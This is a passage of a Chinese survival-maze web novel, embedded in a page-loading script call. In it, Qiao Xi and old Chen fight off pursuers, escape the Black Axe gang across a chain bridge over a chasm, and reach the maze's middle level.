$(''#content'').append('' 老冲来,两人都被恨意冲昏了头,只想报复,丝毫没有考虑自己的体力和实力。 乔晞推开陈老,握着石斧迎了上去,经过之前的几场打斗,她的身手更加熟练,感官也更加敏锐,微胖男和红衣女本就体力不支,伤势未愈,攻击破绽百出,根本不是乔晞的对手。 微胖男挥刀砍来,乔晞侧身避开,石斧顺势劈向他的手腕,微胖男慌忙躲闪,还是被斧刃擦到,疼得他惨叫一声,短刀掉落在地。红衣女从侧面偷袭,乔晞早有察觉,转身一脚踹在她的胸口,红衣女被踹倒在地,半天爬不起来。 不过片刻,两人就被乔晞制服,瘫在地上,再也没有反抗的力气。微胖男看着乔晞,眼神里满是恐惧,再也没有了之前的嚣张,开始求饶:“我们错了,再也不敢找你们麻烦了,求你们放过我们,我们马上走,再也不出现了。” 红衣女也跟着求饶,声音带着哭腔,狼狈不堪。陈老看着两人,心软了,对着乔晞说:“算了,他们也伤不到我们,让他们走吧,都是可怜人。” 乔晞看着两人,沉默片刻,点了点头,她不想再浪费时间杀人,只要他们不再找麻烦,就没必要赶尽杀绝。“赶紧走,别再出现在我们面前。” 两人如蒙大赦,连滚带爬地站起来,捡起武器,慌慌张张地选了一扇石门,跑了进去,再也不敢回头。 解决完两人,乔晞和陈老开始研究大厅里的八扇石门,陈老懂机关,对着石门看了许久,开口说道:“这八扇门对应奇门八门,休、生、伤、杜、景、死、惊、开,只有生门和开门是生路,其他都是死路,我能看出生门的位置,是左侧第三扇门。” 乔晞看向陈老指的那扇门,气流顺畅,没有阴寒之气,确实是生路,她点了点头:“就走这扇门。” 两人正要走向生门,大厅外突然传来急促的脚步声,一群人浩浩荡荡地走了进来,约莫有七八个人,为首的是一个满脸横肉的壮汉,手里握着一把巨斧,浑身散发着凶气,身后跟着的人,个个都带着武器,眼神凶狠,一看就是穷凶极恶之辈,在迷宫里烧杀抢掠,无恶不作。 这群人一进大厅,就看到了乔晞和陈老,为首的壮汉咧嘴一笑,露出一口黄牙,语气粗鲁:“没想到还有两个漏网之鱼,一老一小,正好拿来练练手,物资也一起交出来!” 陈老脸色煞白,低声对乔晞说:“是黑斧帮的人,他们在迷宫里杀了很多人,手段残忍,我们打不过他们,赶紧走!” 乔晞也知道情况危急,这群人太多,实力强悍,根本打不过,只能立刻逃生。她拉着陈老,快步朝着生门跑去,壮汉见状,大喊一声:“想跑?给我追!抓住他们,男的杀了,女的留下!” 一群人立刻追了上来,脚步沉重,喊声震天。乔晞和陈老冲到生门前,陈老快速找到开门的机关,按下机关,生门缓缓打开,两人立刻冲了进去,就在生门即将关闭的瞬间,黑斧帮的人也追到了门口,壮汉挥起巨斧,硬生生卡住了即将关闭的石门,带着几个人冲了进来。 生门后的通道狭窄,只能容一人通过,乔晞拉着陈老拼命往前跑,黑斧帮的人在后面紧追不舍,壮汉的巨斧时不时劈在石墙上,发出巨响,距离越来越近。 跑了片刻,前方通道出现一处断崖,断崖宽约数米,下方深不见底,只有一根粗壮的铁链连接两侧,是唯一的通路。乔晞没有丝毫犹豫,拉着陈老抓住铁链,快速往前攀爬,陈老年纪大,攀爬得很慢,乔晞一直护着他,慢慢往前挪。 后面的黑斧帮众人也追到了断崖边,壮汉冷笑一声:“看你们往哪跑,爬铁链也跑不过我们!”说着,率先抓住铁链,朝着两人追来,身后的人也依次跟上,铁链被压得微微晃动。 乔晞看着越来越近的壮汉,心里清楚,这样下去迟早会被追上,她让陈老先爬到对面,自己则停在铁链中间,握着石斧,等着壮汉靠近。陈老急得大喊:“乔晞,快过来,别管他们了!” “你先过去,我马上来。”乔晞头也不回地说道,眼神坚定地盯着壮汉。 壮汉很快爬到乔晞面前,挥起巨斧,朝着乔晞砍来:“小丫头,还敢拦我,找死!” 乔晞抓住铁链,身体悬空,避开巨斧,同时握着石斧,狠狠劈向壮汉抓着铁链的手,壮汉吃痛,手一松,身体瞬间往下坠,他慌忙抓住铁链,却已经吓得脸色发白,身后的人见状,都不敢再贸然上前。 乔晞趁机转身,快速攀爬铁链,很快就到了对面,和陈老汇合。两人立刻找到对面的机关,按下机关,铁链瞬间从断崖两侧脱落,坠入深渊,黑斧帮的众人被困在对面,气得疯狂嘶吼,却再也过不来,只能眼睁睁看着乔晞和陈老离开。 两人靠在石墙上,长长舒了口气,总算摆脱了这群恶人。陈老看着乔晞,满是心疼:“你刚才太冒险了,要是被斧头砍中,就完了。” 乔晞笑了笑,这是她第一次在迷宫里笑,笑容很浅,却很真切:“没事,我们安全了。” 休息过后,两人沿着对面的通道往前走,这条通道光线柔和,没有丝毫危险,显然是真正的生路,走了约莫一个时辰,前方出现一道巨大的石门,门上刻着“迷宫中层”四个大字,推开石门,就能进入迷宫中层,那里会有更多的危险,也会离最终的斗兽场更近。 乔晞和陈老对视一眼,都从对方眼里看到了坚定,他们一路互相扶持,走过了无数险境,接下来的路,无论多艰难,都会一起走下去。乔晞握紧手里的石斧,伸手推开石门,阳光透过门缝洒进来,落在她身上,她迈步走了进去,陈老紧随其后。 迷宫中层的世界,比下层更加广阔,有山林,有溪流,也有隐藏的机关和星兽,更有无数怀揣着求生欲的参赛者,新一轮的厮杀与冒险,正式拉开帷幕。 踏入迷宫中层,风里裹着草木与溪水的湿气,不再是下层纯粹的石粉腥气,眼前不再是逼仄石巷,而是一片错落的石林,石峰高低错落,林间藏着蜿蜒小径,溪水从石林缝隙间流过,水声潺潺,乍一看竟不像绝境,反倒像寻常山林。